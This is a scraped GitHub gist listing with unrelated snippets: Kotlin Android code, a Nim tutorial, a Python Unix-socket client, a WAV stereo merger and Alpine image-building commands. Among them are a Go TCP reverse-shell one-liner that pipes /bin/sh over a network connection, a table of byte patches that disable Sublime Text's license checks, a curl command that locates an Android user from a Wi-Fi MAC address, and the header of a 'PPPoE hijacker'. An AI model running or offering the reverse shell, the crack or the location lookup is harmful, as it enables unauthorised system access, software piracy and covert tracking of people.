Skip to content

Instantly share code, notes, and snippets.

View drygdryg's full-sized avatar

Victor Golovanenko drygdryg

View GitHub Profile
private var mPhotoUrl: String? = null
fun uploadClicked() {
if (mPhotoUrl != null) {
uploadPhoto(mPhotoUrl!!)
}
}
private lateinit var mAdapter: RecyclerAdapter<Transaction>
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
mAdapter = RecyclerAdapter(R.layout.item_transaction)
}
fun updateTransactions() {
mAdapter.notifyDataSetChanged()
}
@furusiyya
furusiyya / getAndroidLocation.sh
Created January 12, 2017 22:32
Get location of android user on basis of MAC address
sudo curl -i -s -k -X 'POST' -H 'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.1; Nexus 5 Build/LRX22C)' -H 'Content-Type: application/x-www-form-urlencoded' \
'http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks=000000000000:-65&app=ymetro'
@furusiyya
furusiyya / shell.go
Last active September 9, 2020 00:04 — forked from takeshixx/shell.go
TCP reverse shell | Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

Sublime Text

Build 3176

Windows 32-bit

Name Offset Original Patched
Persistent License Check 0x267CA 0x00 0x01
Initial License Check 0x26C4F 0x38 0x08
0x26C50 0x00 0x01
Software Update Prompt 0x50AFA 0x55 0xC3

Windows 64-bit

@tearfulDalvik
tearfulDalvik / pppoe.py
Last active January 10, 2021 15:04
A plain PPPoE hijacker | NetKeeper Groper
# coding:utf-8
'''
@author Gufeng Shen
@date 2018年10月27日
'''
import struct
import os
import uuid
@madprops
madprops / nimtut.nim
Created November 25, 2019 18:14
Used for a video tutorial on Nim
# Mutable variable
var a = "hello"
# Immutable variable
let a = "hello"
# Specify a type
var age: int
var name: string
# -*- coding: utf-8 -*-
import socket
import os
print("Connecting...")
if os.path.exists("/tmp/python_unix_sockets_example"):
client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
client.connect("/tmp/python_unix_sockets_example")
print("Ready.")
print("Ctrl-C to quit.")
@Tolsi
Tolsi / two_mono_wav_to_stereo.py
Last active June 14, 2023 16:08
Converts two mono wav files to one stereo
import wave, array
# changed from https://stackoverflow.com/a/43163543/699934
def make_stereo(file1, file2, output):
ifile1 = wave.open(file1)
ifile2 = wave.open(file2)
print(ifile1.getparams())
# (1, 2, 44100, 2013900, 'NONE', 'not compressed')
(nchannels, sampwidth, framerate, nframes, comptype, compname) = ifile1.getparams()
assert ifile1.getparams() == ifile2.getparams()
wget http://dl-cdn.alpinelinux.org/alpine/v3.7/releases/armhf/alpine-uboot-3.7.0-armhf.tar.gz
wget http://dl-cdn.alpinelinux.org/alpine/v3.7/releases/armhf/alpine-minirootfs-3.7.0-armhf.tar.gz
qemu-img create -f raw sd.img 512M
sudo losetup /dev/loop0 sd.img
sudo kpartx -av /dev/loop0
lsblk
sudo mkfs.ext4 /dev/mapper/loop0p1
mount -t ext4 /dev/mapper/loop0p1 /mnt